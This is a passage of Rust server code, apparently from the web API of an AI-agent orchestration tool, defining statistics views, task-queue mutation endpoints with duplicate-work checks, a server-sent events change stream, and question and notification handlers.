5657 wins: a.wins,
5658 empty: a.empty,
5659 win_rate: RateView::of(a.wins, a.entered),
5660 competitive_entered: a.competitive_entered,
5661 competitive_wins: a.competitive_wins,
5662 competitive_win_rate: RateView::of(a.competitive_wins, a.competitive_entered),
5663 solo_entered: a.solo_entered,
5664 solo_adopted: a.solo_adopted,
5665 solo_adoption_rate: RateView::of(a.solo_adopted, a.solo_entered),
5666 }
5667 }
5668}
5669
5670#[derive(Debug, Serialize)]
5674struct ReviewerStatsView {
5675 agent: String,
5676 rounds: usize,
5677 seated: usize,
5678 submitted: usize,
5679 adopted: usize,
5680 unique: usize,
5681 timeouts: usize,
5682 adopted_per_round: Option<f64>,
5683 precision: Option<RateView>,
5684 unique_rate: Option<RateView>,
5685 timeout_rate: Option<RateView>,
5686}
5687
5688impl From<&stats::ReviewerStats> for ReviewerStatsView {
5689 fn from(r: &stats::ReviewerStats) -> Self {
5690 Self {
5691 agent: r.agent.clone(),
5692 rounds: r.rounds,
5693 seated: r.seated,
5694 submitted: r.submitted,
5695 adopted: r.adopted,
5696 unique: r.unique,
5697 timeouts: r.timeouts,
5698 adopted_per_round: (r.rounds > 0).then(|| r.adopted_per_round()),
5699 precision: RateView::of(r.adopted, r.submitted),
5700 unique_rate: RateView::of(r.unique, r.submitted),
5701 timeout_rate: RateView::of(r.timeouts, r.seated),
5702 }
5703 }
5704}
5705
5706#[derive(Debug, Serialize)]
5712struct AdvisorStatsView {
5713 agent: String,
5714 seated: usize,
5715 proposed: usize,
5716 absent: usize,
5717 faint: usize,
5718 strong: usize,
5719 reflection_rate: Option<RateView>,
5720}
5721
5722impl From<&stats::AdvisorStats> for AdvisorStatsView {
5723 fn from(a: &stats::AdvisorStats) -> Self {
5724 Self {
5725 agent: a.agent.clone(),
5726 seated: a.seated,
5727 proposed: a.proposed,
5728 absent: a.absent,
5729 faint: a.faint,
5730 strong: a.strong,
5731 reflection_rate: RateView::of(a.strong, a.proposed),
5732 }
5733 }
5734}
5735
5736#[derive(Debug, Serialize)]
5738struct E2eStatsView {
5739 rounds: usize,
5740 failures: usize,
5741 sole_detections: usize,
5742 deferred: usize,
5743 sole_rate: Option<RateView>,
5744}
5745
5746impl From<&stats::E2eStats> for E2eStatsView {
5747 fn from(e: &stats::E2eStats) -> Self {
5748 Self {
5749 rounds: e.rounds,
5750 failures: e.failures,
5751 sole_detections: e.sole_detections,
5752 deferred: e.deferred,
5753 sole_rate: RateView::of(e.sole_detections, e.failures),
5754 }
5755 }
5756}
5757
5758#[derive(Debug, Serialize)]
5766struct ReleaseBumpStatsView {
5767 merged: usize,
5768 recorded: usize,
5769 pr_opened: usize,
5770 automerge_enabled: usize,
5771 merged_directly: usize,
5772 needs_attention: usize,
5773 clean: usize,
5774 coverage_rate: Option<RateView>,
5775 automerge_rate: Option<RateView>,
5776 attention_rate: Option<RateView>,
5777}
5778
5779impl From<&stats::ReleaseBumpStats> for ReleaseBumpStatsView {
5780 fn from(b: &stats::ReleaseBumpStats) -> Self {
5781 Self {
5782 merged: b.merged,
5783 recorded: b.recorded,
5784 pr_opened: b.pr_opened,
5785 automerge_enabled: b.automerge_enabled,
5786 merged_directly: b.merged_directly,
5787 needs_attention: b.needs_attention,
5788 clean: b.clean(),
5789 coverage_rate: RateView::of(b.recorded, b.merged),
5790 automerge_rate: RateView::of(b.automerge_enabled, b.pr_opened),
5791 attention_rate: RateView::of(b.needs_attention, b.recorded),
5792 }
5793 }
5794}
5795
5796#[derive(Debug, Serialize)]
5798struct TaskCountsView {
5799 queued: usize,
5800 running: usize,
5801 done: usize,
5802 failed: usize,
5803 held: usize,
5804 blocked: usize,
5805 parked: usize,
5806}
5807
5808impl From<crate::queue::TaskCounts> for TaskCountsView {
5809 fn from(c: crate::queue::TaskCounts) -> Self {
5810 Self {
5811 queued: c.queued,
5812 running: c.running,
5813 done: c.done,
5814 failed: c.failed,
5815 held: c.held,
5816 blocked: c.blocked,
5817 parked: c.parked,
5818 }
5819 }
5820}
5821
5822#[derive(Debug, Serialize)]
5828struct RepoSummaryView {
5829 repo: String,
5832 name: String,
5834 runs: usize,
5835 completion_rate: Option<RateView>,
5836}
5837
5838impl From<&stats::RepoStats> for RepoSummaryView {
5839 fn from(r: &stats::RepoStats) -> Self {
5840 let t = &r.stats.totals;
5841 Self {
5842 repo: r.repo.to_string_lossy().into_owned(),
5843 name: r.name.clone(),
5844 runs: t.runs,
5845 completion_rate: RateView::of(t.merged + t.ready, t.runs),
5846 }
5847 }
5848}
5849
5850#[derive(Debug, Serialize)]
5856struct StatsView {
5857 totals: StatsTotalsView,
5858 agents: Vec<AgentStatsView>,
5860 reviewers: Vec<ReviewerStatsView>,
5862 advisors: Vec<AdvisorStatsView>,
5864 e2e: E2eStatsView,
5865 release_bumps: ReleaseBumpStatsView,
5866 queue: TaskCountsView,
5867 runs_unreadable: usize,
5877 repos: Vec<RepoSummaryView>,
5881 daily: Vec<DailyStatsView>,
5886 repo: Option<String>,
5890 retired_hidden: Vec<String>,
5894}
5895
5896#[derive(Debug, Serialize)]
5898struct DailyStatsView {
5899 date: String,
5901 runs: usize,
5902 merged: usize,
5903 ready: usize,
5904 other: usize,
5905 completion_rate: Option<RateView>,
5907}
5908
5909impl From<&stats::DayBucket> for DailyStatsView {
5910 fn from(b: &stats::DayBucket) -> Self {
5911 Self {
5912 date: b.date.to_string(),
5913 runs: b.runs,
5914 merged: b.merged,
5915 ready: b.ready,
5916 other: b.other,
5917 completion_rate: RateView::of(b.merged + b.ready, b.runs),
5918 }
5919 }
5920}
5921
5922const STATS_DAILY_DAYS: usize = 30;
5924
5925#[derive(Debug, Default, Deserialize)]
5934#[serde(default)]
5935struct StatsQuery {
5936 repo: Option<String>,
5937 all: bool,
5939}
5940
5941async fn stats_get(
5948 State(ui): State<Arc<Ui>>,
5949 Query(q): Query<StatsQuery>,
5950) -> ApiResult<Json<StatsView>> {
5951 blocking(move || {
5952 let states: Vec<RunState> = run_ids(&ui.runs)
5953 .into_iter()
5954 .filter_map(|id| read_run(&ui.runs, &id).ok())
5955 .collect();
5956 let repos: Vec<RepoSummaryView> = stats::by_repo(&states)
5957 .iter()
5958 .map(RepoSummaryView::from)
5959 .collect();
5960 let mut scoped: Vec<&RunState> = states.iter().collect();
5961 let mut collected = match &q.repo {
5962 Some(repo) => {
5963 let filtered = stats::filter_repo(&states, std::path::Path::new(repo));
5964 if filtered.is_empty() {
5965 return Err(ApiError::not_found(format!(
5966 "no runs recorded against repo `{repo}`"
5967 )));
5968 }
5969 scoped = filtered.clone();
5970 stats::collect_refs(filtered)
5971 }
5972 None => stats::collect(&states),
5973 };
5974 if !q.all {
5975 let repo = q
5976 .repo
5977 .as_deref()
5978 .map_or_else(|| ui.repo.clone(), PathBuf::from);
5979 stats::retain_current_roster(&mut collected, &repo);
5980 }
5981 let daily = stats::daily(
5982 scoped,
5983 jiff::Zoned::now().date(),
5984 &jiff::tz::TimeZone::system(),
5985 STATS_DAILY_DAYS,
5986 );
5987 let queue_counts = crate::queue::TaskCounts::of(&ui.queue.list());
5988 Ok(Json(StatsView {
5989 totals: StatsTotalsView::from(&collected.totals),
5990 agents: collected.agents.iter().map(AgentStatsView::from).collect(),
5991 reviewers: collected
5992 .reviewers
5993 .iter()
5994 .map(ReviewerStatsView::from)
5995 .collect(),
5996 advisors: collected
5997 .advisors
5998 .iter()
5999 .map(AdvisorStatsView::from)
6000 .collect(),
6001 e2e: E2eStatsView::from(&collected.e2e),
6002 release_bumps: ReleaseBumpStatsView::from(&collected.release_bumps),
6003 queue: TaskCountsView::from(queue_counts),
6004 runs_unreadable: runs_unreadable(&ui.runs),
6005 repos,
6006 daily: daily.iter().map(DailyStatsView::from).collect(),
6007 repo: q.repo.clone(),
6008 retired_hidden: collected.retired_hidden.clone(),
6009 }))
6010 })
6011 .await
6012}
6013
6014#[derive(Debug, Default, Deserialize)]
6017#[serde(default, deny_unknown_fields)]
6018struct HoldBody {
6019 reason: Option<String>,
6020}
6021
6022async fn queue_hold(
6023 State(ui): State<Arc<Ui>>,
6024 Path(id): Path<String>,
6025 body: std::result::Result<Json<HoldBody>, JsonRejection>,
6026) -> ApiResult<Json<TaskView>> {
6027 let body = match body {
6031 Ok(Json(body)) => body,
6032 Err(JsonRejection::MissingJsonContentType(_)) => HoldBody::default(),
6033 Err(e) => return Err(ApiError::bad_request(e.body_text())),
6034 };
6035 let reason = body.reason.filter(|r| !r.trim().is_empty());
6036 mutate(ui, id, move |t| {
6037 t.hold_manual(reason.clone());
6038 Ok(())
6039 })
6040 .await
6041}
6042
6043async fn queue_release(
6044 State(ui): State<Arc<Ui>>,
6045 Path(id): Path<String>,
6046) -> ApiResult<Json<TaskView>> {
6047 mutate(ui, id, |t| {
6048 t.release_operator("web", None);
6049 Ok(())
6050 })
6051 .await
6052}
6053
6054#[derive(Debug, Deserialize)]
6055#[serde(deny_unknown_fields)]
6056struct AttemptLimitBody {
6057 attempt_limit: serde_json::Value,
6059}
6060
6061async fn queue_attempt_limit(
6062 State(ui): State<Arc<Ui>>,
6063 Path(id): Path<String>,
6064 body: std::result::Result<Json<AttemptLimitBody>, JsonRejection>,
6065) -> ApiResult<Json<TaskView>> {
6066 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
6067 let limit = serde_json::from_value::<Option<std::num::NonZeroUsize>>(body.attempt_limit)
6068 .map_err(|_| ApiError::bad_request("attempt_limit must be a positive integer or null"))?;
6069 mutate(ui, id, move |t| t.change_attempt_limit(limit)).await
6070}
6071
6072#[derive(Debug, Deserialize)]
6073#[serde(deny_unknown_fields)]
6074struct ImplementersBody {
6075 implementers: u8,
6076}
6077
6078async fn queue_implementers(
6079 State(ui): State<Arc<Ui>>,
6080 Path(id): Path<String>,
6081 body: std::result::Result<Json<ImplementersBody>, JsonRejection>,
6082) -> ApiResult<Json<TaskView>> {
6083 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
6084 mutate(ui, id, move |t| t.change_implementers(body.implementers)).await
6085}
6086
6087#[derive(Debug, Deserialize)]
6088#[serde(deny_unknown_fields)]
6089struct UrgentBody {
6090 urgent: bool,
6091}
6092
6093async fn queue_urgent(
6094 State(ui): State<Arc<Ui>>,
6095 Path(id): Path<String>,
6096 body: std::result::Result<Json<UrgentBody>, JsonRejection>,
6097) -> ApiResult<Json<TaskView>> {
6098 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
6099 mutate(ui, id, move |t| t.set_urgent(body.urgent)).await
6100}
6101
6102#[derive(Debug, Deserialize)]
6104#[serde(deny_unknown_fields)]
6105struct PriorityBody {
6106 priority: i32,
6107}
6108
6109async fn queue_priority(
6115 State(ui): State<Arc<Ui>>,
6116 Path(id): Path<String>,
6117 body: std::result::Result<Json<PriorityBody>, JsonRejection>,
6118) -> ApiResult<Json<TaskView>> {
6119 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
6120 mutate(ui, id, move |t| t.set_priority(body.priority)).await
6121}
6122
6123#[derive(Debug, Deserialize)]
6125#[serde(deny_unknown_fields)]
6126struct EditBody {
6127 title: String,
6128 instruction: String,
6129 #[serde(default)]
6132 force: bool,
6133}
6134
6135async fn queue_edit(
6139 State(ui): State<Arc<Ui>>,
6140 Path(id): Path<String>,
6141 body: std::result::Result<Json<EditBody>, JsonRejection>,
6142) -> ApiResult<Json<TaskView>> {
6143 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
6144 let mut judged: Option<(String, PathBuf)> = None;
6148 if !body.force {
6149 let (queue, runs) = (ui.queue.clone(), ui.runs.clone());
6150 let (id, text) = (id.clone(), body.instruction.clone());
6151 let (seen, hits) = blocking(move || {
6152 let id = resolve_task(&queue, &id)?;
6153 let t = queue.get(&id)?;
6154 if text == t.instruction {
6155 return Ok((None, Vec::new()));
6156 }
6157 let hits = crate::dupes::check(&queue, &runs, &t.repo, &text, None, Some(&t.id));
6158 Ok((Some((t.instruction, t.repo)), hits))
6159 })
6160 .await?;
6161 if let Some((_, repo)) = &seen {
6162 let cfg = crate::config::Config::discover(repo, None)
6163 .ok()
6164 .map(|(c, _)| c);
6165 let screened =
6166 crate::dupes::screen_with_config(hits, &body.instruction, None, repo, cfg.as_ref())
6167 .await
6168 .map_err(|dup| {
6169 ApiError::conflict(dup.render(
6170 "Nothing was saved. If it is not a duplicate, repeat the request \
6171 with \"force\": true.",
6172 ))
6173 })?;
6174 if let crate::dupes::Screened::Unjudged(why) = screened {
6175 tracing::warn!(%why, "task edit saved without a duplicate-work judgement");
6176 }
6177 }
6178 judged = seen;
6179 }
6180 let force = body.force;
6181 mutate(ui, id, move |t| {
6182 if !force && body.instruction != t.instruction {
6183 match &judged {
6184 Some((instruction, repo)) if *instruction == t.instruction && *repo == t.repo => {}
6185 _ => {
6186 anyhow::bail!("the task changed while it was being checked; repeat the request")
6187 }
6188 }
6189 }
6190 t.edit(body.title.clone(), body.instruction.clone())
6191 })
6192 .await
6193}
6194
6195async fn queue_done(
6203 State(ui): State<Arc<Ui>>,
6204 Path(id): Path<String>,
6205) -> ApiResult<Json<TaskView>> {
6206 let home = ui.home.clone();
6207 mutate(ui, id, move |t| {
6208 t.succeed();
6209 crate::daemon::supersede_prior_runs(t, &home);
6217 Ok(())
6218 })
6219 .await
6220}
6221
6222async fn queue_delete(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<StatusCode> {
6230 blocking(move || {
6231 let id = resolve_task(&ui.queue, &id)?;
6232 let in_flight = crate::daemon::is_working_on_task(&ui.home, &id, jiff::Timestamp::now());
6233 ui.queue
6234 .remove(&id, in_flight, &ui.questions)
6235 .map_err(|e| ApiError::conflict(format!("{e:#}")))?;
6236 Ok(StatusCode::NO_CONTENT)
6237 })
6238 .await
6239}
6240
6241async fn mutate(
6250 ui: Arc<Ui>,
6251 id: String,
6252 change: impl FnOnce(&mut Task) -> Result<()> + Send + 'static,
6253) -> ApiResult<Json<TaskView>> {
6254 blocking(move || {
6255 let id = resolve_task(&ui.queue, &id)?;
6256 let _claim = ui.queue.claim(&id).map_err(|e| {
6261 ApiError::conflict(format!(
6262 "{e:#} - a daemon is running this task, so it cannot be \
6263 changed from here yet; wait until it is released, then retry"
6264 ))
6265 })?;
6266 let mut task = ui.queue.get(&id)?;
6267 change(&mut task).map_err(|e| match e.downcast::<crate::dupes::Duplicate>() {
6268 Ok(dup) => ApiError::conflict(dup.render(
6269 "Nothing was saved. If it is not a duplicate, repeat the request with \
6270 \"force\": true.",
6271 )),
6272 Err(e) => ApiError::bad_request_from(e),
6273 })?;
6274 ui.queue.put(&mut task)?;
6275 Ok(Json(TaskView::from(task)))
6276 })
6277 .await
6278}
6279
6280async fn events(State(ui): State<Arc<Ui>>) -> impl IntoResponse {
6288 let (tx, rx) = tokio::sync::mpsc::channel::<Event>(4);
6289 tokio::spawn(async move {
6290 let mut ticker = tokio::time::interval(POLL);
6291 let mut last: Option<(u64, u64, u64, u64, u64, u64)> = None;
6292 let mut stamps: Option<[Stamps; 3]> = None;
6293 loop {
6294 ticker.tick().await;
6297 let state = Arc::clone(&ui);
6298 let revisions = tokio::task::spawn_blocking(move || {
6299 let stamps = [
6300 store_stamps(state.queue.root(), false),
6301 store_stamps(&state.runs, true),
6302 store_stamps(state.talks.root(), false),
6303 ];
6304 let revisions = (
6305 stamps_revision(&stamps[0]),
6306 stamps_revision(&stamps[1]),
6307 state.questions.revision(),
6308 stamps_revision(&stamps[2]),
6309 state.notices.revision(),
6310 state.lock_loop().rev,
6314 );
6315 (revisions, stamps)
6316 })
6317 .await;
6318 let Ok((revisions, next_stamps)) = revisions else {
6319 break;
6320 };
6321 if last == Some(revisions) {
6322 continue;
6323 }
6324 let mut payload = serde_json::json!({
6325 "queue_rev": revisions.0,
6326 "runs_rev": revisions.1,
6327 "questions_rev": revisions.2,
6328 "talks_rev": revisions.3,
6329 "notifications_rev": revisions.4,
6330 "loop_rev": revisions.5,
6331 });
6332 if let (Some(base), Some(previous)) = (last, stamps.as_ref()) {
6333 for (index, (key, rev)) in [
6334 ("queue_delta", base.0),
6335 ("runs_delta", base.1),
6336 ("talks_delta", base.3),
6337 ]
6338 .into_iter()
6339 .enumerate()
6340 {
6341 let delta = diff_stamps(&previous[index], &next_stamps[index], rev);
6342 if delta.changed.len() + delta.removed.len() > 0 && delta.changed.len() <= 50 {
6344 payload[key] = serde_json::to_value(delta).expect("serializable delta");
6345 }
6346 }
6347 }
6348 last = Some(revisions);
6349 stamps = Some(next_stamps);
6350 let Ok(event) = Event::default().event("change").json_data(payload) else {
6352 break;
6353 };
6354 if tx.send(event).await.is_err() {
6355 break;
6356 }
6357 }
6358 });
6359 Sse::new(ReceiverStream::new(rx).map(Ok::<Event, Infallible>))
6360 .keep_alive(KeepAlive::new().interval(KEEPALIVE))
6361}
6362
6363type Stamps = HashMap<String, (u128, u64)>;
6364
6365fn store_stamps(root: &FsPath, runs: bool) -> Stamps {
6367 std::fs::read_dir(root)
6368 .into_iter()
6369 .flatten()
6370 .flatten()
6371 .filter_map(|entry| {
6372 let path = if runs {
6373 entry.path().join("run.json")
6374 } else {
6375 entry.path()
6376 };
6377 if !runs && path.extension().is_none_or(|ext| ext != "json") {
6378 return None;
6379 }
6380 let metadata = path.metadata().ok()?;
6381 let modified = metadata
6382 .modified()
6383 .ok()?
6384 .duration_since(std::time::UNIX_EPOCH)
6385 .ok()?;
6386 let id = if runs {
6387 entry.file_name().to_string_lossy().into_owned()
6388 } else {
6389 path.file_stem()?.to_string_lossy().into_owned()
6390 };
6391 Some((id, (modified.as_nanos(), metadata.len())))
6392 })
6393 .collect()
6394}
6395
6396#[derive(Debug, Serialize)]
6397struct Delta {
6398 base: u64,
6399 changed: Vec<String>,
6400 removed: Vec<String>,
6401}
6402
6403fn diff_stamps(previous: &Stamps, next: &Stamps, base: u64) -> Delta {
6404 let mut changed: Vec<_> = next
6405 .iter()
6406 .filter(|(id, stamp)| previous.get(*id) != Some(*stamp))
6407 .map(|(id, _)| id.clone())
6408 .collect();
6409 let mut removed: Vec<_> = previous
6410 .keys()
6411 .filter(|id| !next.contains_key(*id))
6412 .cloned()
6413 .collect();
6414 changed.sort_unstable();
6415 removed.sort_unstable();
6416 Delta {
6417 base,
6418 changed,
6419 removed,
6420 }
6421}
6422
6423fn runs_revision(runs: &FsPath) -> u64 {
6430 stamps_revision(&store_stamps(runs, true))
6431}
6432
6433fn stamps_revision(stamps: &Stamps) -> u64 {
6437 use std::hash::{Hash as _, Hasher as _};
6438 if stamps.is_empty() {
6439 return 0;
6440 }
6441 let mut entries: Vec<_> = stamps.iter().collect();
6442 entries.sort_unstable();
6443 let mut hasher = std::hash::DefaultHasher::new();
6444 entries.hash(&mut hasher);
6445 hasher.finish().max(1)
6446}
6447
6448fn run_ids(runs: &FsPath) -> Vec<String> {
6454 let mut ids: Vec<String> = std::fs::read_dir(runs)
6455 .into_iter()
6456 .flatten()
6457 .flatten()
6458 .filter(|e| e.path().join("run.json").is_file())
6459 .map(|e| e.file_name().to_string_lossy().into_owned())
6460 .collect();
6461 ids.sort_unstable_by(|a, b| b.cmp(a));
6463 ids
6464}
6465
6466fn read_run(runs: &FsPath, id: &str) -> Result<RunState> {
6468 let path = runs.join(id).join("run.json");
6469 let body =
6470 std::fs::read_to_string(&path).with_context(|| format!("read {}", path.display()))?;
6471 let state: RunState =
6472 serde_json::from_str(&body).with_context(|| format!("parse {}", path.display()))?;
6473 run::migrate_schema(state)
6478}
6479
6480#[must_use]
6488pub fn runs_unreadable(runs: &FsPath) -> usize {
6489 run_ids(runs)
6490 .into_iter()
6491 .filter(|id| read_run(runs, id).is_err())
6492 .count()
6493}
6494
6495fn resolve_run(runs: &FsPath, id: &str) -> ApiResult<String> {
6497 if runs.join(id).join("run.json").is_file() {
6498 return Ok(id.to_owned());
6499 }
6500 pick(run_ids(runs), id, "run")
6501}
6502
6503fn resolve_task(queue: &Queue, id: &str) -> ApiResult<String> {
6505 if queue.path_of(id).is_file() {
6506 return Ok(id.to_owned());
6507 }
6508 pick(queue.list().into_iter().map(|t| t.id).collect(), id, "task")
6509}
6510
6511#[derive(Debug, Serialize)]
6522struct QuestionView {
6523 #[serde(flatten)]
6524 question: Question,
6525 detail_md: Vec<md::Node>,
6526 posting_view: Option<PostingView>,
6527 thread_bodies_md: Vec<Vec<md::Node>>,
6529 thread_notes_md: Vec<Option<Vec<md::Node>>>,
6532 waiting_on_agent: bool,
6542 holder: Option<&'static str>,
6546 deputies_enabled: bool,
6550 deputy_exhausted: bool,
6553 text_delivery: crate::question_delivery::Availability,
6554 run_is_task: bool,
6557 origin_chat: Option<String>,
6560 origin_chat_closed: bool,
6562 can_consult_chat: bool,
6564}
6565
6566#[derive(Debug, Serialize)]
6567struct PostingView {
6568 before_md: Vec<md::Node>,
6569 after_md: Vec<md::Node>,
6570 fields: Vec<crate::github_text::ComparisonView>,
6571}
6572
6573fn posting_view(question: &Question, base: &md::ImageBase) -> Option<PostingView> {
6574 let comparison = question.posting_comparison.as_ref()?;
6575 if !comparison.matches_detail(&question.detail) {
6576 return None;
6577 }
6578 let mut ids = std::collections::BTreeSet::new();
6579 if comparison.fields.is_empty()
6580 || comparison
6581 .fields
6582 .iter()
6583 .flat_map(|f| &f.pairs)
6584 .any(|p| !ids.insert(p.id))
6585 || comparison
6586 .fields
6587 .iter()
6588 .flat_map(|f| &f.original_triggers)
6589 .any(|t| !ids.insert(t.id))
6590 {
6591 return None;
6592 }
6593 let fields = comparison
6594 .fields
6595 .iter()
6596 .map(|f| f.view(comparison.excerpt))
6597 .collect::<Option<Vec<_>>>()?;
6598 Some(PostingView {
6599 before_md: md::to_nodes(question.detail.get(..comparison.start)?, base),
6600 after_md: md::to_nodes(question.detail.get(comparison.end..)?, base),
6601 fields,
6602 })
6603}
6604
6605impl QuestionView {
6606 fn of(question: Question, store: &ask::Questions, cfg: Option<&Config>) -> Self {
6610 let base = md::ImageBase::QuestionPanel {
6611 id: question.id.clone(),
6612 };
6613 let holder = holder_of(&question, store.read_lease(&question.id).as_ref());
6614 Self {
6615 detail_md: md::to_nodes(&question.detail, &base),
6616 posting_view: posting_view(&question, &base),
6617 thread_bodies_md: question
6618 .thread
6619 .iter()
6620 .map(|t| md::to_nodes(&t.body, &base))
6621 .collect(),
6622 thread_notes_md: question
6623 .thread
6624 .iter()
6625 .map(|t| t.note.as_deref().map(|n| md::to_nodes(n, &base)))
6626 .collect(),
6627 deputy_exhausted: store.deputy_exhausted(&question),
6628 waiting_on_agent: question.waiting_on_agent(),
6629 holder,
6630 deputies_enabled: deputies_enabled(cfg, &question),
6631 text_delivery: crate::question_delivery::availability(store, &question, cfg),
6632 run_is_task: question.run_names_task(),
6633 origin_chat: None,
6634 origin_chat_closed: false,
6635 can_consult_chat: false,
6636 question,
6637 }
6638 }
6639
6640 fn with_origin(mut self, tasks: &[crate::queue::Task], talks: &[Talk]) -> Self {
6642 let consult = crate::consult::origin_talk(tasks, talks, &self.question);
6643 self.can_consult_chat = consult.is_some();
6644 let talk =
6645 consult.or_else(|| crate::consult::associated_talk(tasks, talks, &self.question));
6646 self.origin_chat_closed = talk.as_ref().is_some_and(|t| !t.status.open());
6647 self.origin_chat = talk.map(|t| t.id);
6648 self
6649 }
6650}
6651
6652fn deputy_config(repo: &std::path::Path) -> Option<Config> {
6656 Config::discover(repo, None).ok().map(|(c, _)| c)
6657}
6658
6659fn deputies_enabled(cfg: Option<&Config>, q: &Question) -> bool {
6661 crate::deputy::can_start(cfg, crate::deputy::agent_of(q))
6662}
6663
6664fn question_views(
6667 qs: Vec<Question>,
6668 store: &ask::Questions,
6669 load: impl FnOnce() -> Option<Config>,
6670) -> Vec<QuestionView> {
6671 if qs.is_empty() {
6672 return Vec::new();
6673 }
6674 let cfg = load();
6675 qs.into_iter()
6676 .map(|q| QuestionView::of(q, store, cfg.as_ref()))
6677 .collect()
6678}
6679
6680fn holder_of(q: &Question, lease: Option<&ask::Lease>) -> Option<&'static str> {
6690 if !q.status.open() {
6691 return None;
6692 }
6693 if q.cwd.is_none()
6694 && q.deputy.is_none()
6695 && lease.is_none_or(|l| !l.fresh(jiff::Timestamp::now()))
6696 {
6697 return crate::deputy::kind_of(q).map(|_| "nobody");
6698 }
6699 Some(match lease.filter(|l| l.fresh(jiff::Timestamp::now())) {
6700 Some(_) if q.deputy.is_some() => "deputy",
6701 Some(l) if l.kind == ask::WaiterKind::Daemon => "daemon",
6702 Some(_) => "asker",
6703 None => "nobody",
6704 })
6705}
6706
6707async fn questions_list(State(ui): State<Arc<Ui>>) -> ApiResult<Json<Vec<QuestionView>>> {
6713 blocking(move || {
6714 let (tasks, talks) = (ui.queue.list(), ui.talks.list());
6715 Ok(Json(
6716 question_views(ui.questions.list(), &ui.questions, || {
6717 deputy_config(&ui.repo)
6718 })
6719 .into_iter()
6720 .map(|v| v.with_origin(&tasks, &talks))
6721 .collect(),
6722 ))
6723 })
6724 .await
6725}
6726
6727async fn notifications_list(State(ui): State<Arc<Ui>>) -> ApiResult<Json<serde_json::Value>> {
6730 blocking(move || {
6731 let items = ui.notices.list();
6732 let unread = items.iter().filter(|n| n.unread()).count();
6733 let items: Vec<_> = items
6734 .into_iter()
6735 .map(|n| {
6736 let question = crate::notices::answerable_question(&n, &ui.questions);
6737 let mut item = serde_json::to_value(n)?;
6738 item["answerable_question"] = serde_json::json!(question);
6739 Ok(item)
6740 })
6741 .collect::<anyhow::Result<_>>()?;
6742 Ok(Json(
6743 serde_json::json!({ "unread": unread, "items": items }),
6744 ))
6745 })
6746 .await
6747}
6748
6749fn notice_error(e: anyhow::Error) -> ApiError {
6750 ApiError::not_found(format!("{e:#}"))
6753}
6754
6755async fn notification_read(
6757 State(ui): State<Arc<Ui>>,
6758 Path(id): Path<String>,
6759) -> ApiResult<Json<Notice>> {
6760 blocking(move || ui.notices.mark_read(&id).map(Json).map_err(notice_error)).await
6761}
6762
6763async fn notification_dismiss(
6765 State(ui): State<Arc<Ui>>,
6766 Path(id): Path<String>,
6767) -> ApiResult<Json<Notice>> {
6768 blocking(move || ui.notices.dismiss(&id).map(Json).map_err(notice_error)).await
6769}
6770
6771async fn notifications_read_all(State(ui): State<Arc<Ui>>) -> ApiResult<Json<serde_json::Value>> {
6773 blocking(move || {
6774 let changed = ui.notices.mark_all_read()?;
6775 Ok(Json(serde_json::json!({ "marked": changed })))
6776 })
6777 .await
6778}
6779
6780#[derive(Debug, Default, Deserialize)]
6786#[serde(default, deny_unknown_fields)]
6787struct NewAnswer {
6788 choice: Option<String>,
6789 text: Option<String>,
6790}
6791
6792async fn question_answer(
6793 State(ui): State<Arc<Ui>>,
6794 Path(id): Path<String>,
6795 body: std::result::Result<Json<NewAnswer>, axum::extract::rejection::JsonRejection>,
6796) -> ApiResult<Json<QuestionView>> {
6797 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
6798 let answer = match (body.choice, body.text) {
6799 (Some(c), None) => Answer::Choice(c),
6800 (None, Some(t)) => Answer::Text(t),
6801 (Some(_), Some(_)) => {
6802 return Err(ApiError::bad_request(
6803 "send either `choice` or `text`, not both",
6804 ));
6805 }
6806 (None, None) => {
6807 return Err(ApiError::bad_request("send a `choice` or a `text`"));
6808 }
6809 };
6810
6811 blocking(move || {
6812 let id = resolve_question(&ui.questions, &id)?;
6813 let q = ui
6814 .questions
6815 .get(&id)
6816 .map_err(|e| ApiError::from(e).with_status(StatusCode::INTERNAL_SERVER_ERROR))?;
6817 if !q.status.open() {
6818 return Err(ApiError::conflict(format!(
6822 "question {} is already {}",
6823 q.short(),
6824 q.status.as_str()
6825 )));
6826 }
6827 let cfg = deputy_config(&ui.repo);
6831 let (q, ()) = ui
6832 .questions
6833 .update(&q.id, |r| r.answer(answer))
6834 .map_err(ApiError::bad_request_from)?;
6835 let (tasks, talks) = (ui.queue.list(), ui.talks.list());
6836 Ok(Json(
6837 QuestionView::of(q, &ui.questions, cfg.as_ref()).with_origin(&tasks, &talks),
6838 ))
6839 })
6840 .await
6841}
6842
6843fn question_text_error(e: anyhow::Error) -> ApiError {
6845 let reason = e
6846 .downcast_ref::<crate::question_delivery::TextUnavailable>()
6847 .map(|e| e.reason);
6848 let error = ApiError::bad_request_from(e);
6849 if let Some(reason) = reason {
6850 ApiError {
6851 text_reason: Some(reason),
6852 ..error.with_status(StatusCode::UNPROCESSABLE_ENTITY)
6853 }
6854 } else {
6855 error
6856 }
6857}
6858
6859#[derive(Debug, Deserialize)]
6861#[serde(deny_unknown_fields)]
6862struct NewSay {
6863 body: String,
6864}
6865
6866async fn question_say(
6876 State(ui): State<Arc<Ui>>,
6877 Path(id): Path<String>,
6878 body: std::result::Result<Json<NewSay>, JsonRejection>,
6879) -> ApiResult<Json<QuestionView>> {
6880 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
6881 blocking(move || {
6882 let id = resolve_question(&ui.questions, &id)?;
6883 let q = ui
6884 .questions
6885 .get(&id)
6886 .map_err(|e| ApiError::from(e).with_status(StatusCode::INTERNAL_SERVER_ERROR))?;
6887 if !q.status.open() {
6888 return Err(ApiError::conflict(format!(
6892 "question {} is already {}",
6893 q.short(),
6894 q.status.as_str()
6895 )));
6896 }
6897 let cfg = deputy_config(&ui.repo);
6900 let (q, ()) = ui
6901 .questions
6902 .update(&q.id, |r| {
6903 if body.body.trim().is_empty() {
6904 return r.say(body.body);
6905 }
6906 crate::question_delivery::require(&ui.questions, r, cfg.as_ref())?;
6907 r.say(body.body)
6908 })
6909 .map_err(question_text_error)?;
6910 let (tasks, talks) = (ui.queue.list(), ui.talks.list());
6911 Ok(Json(
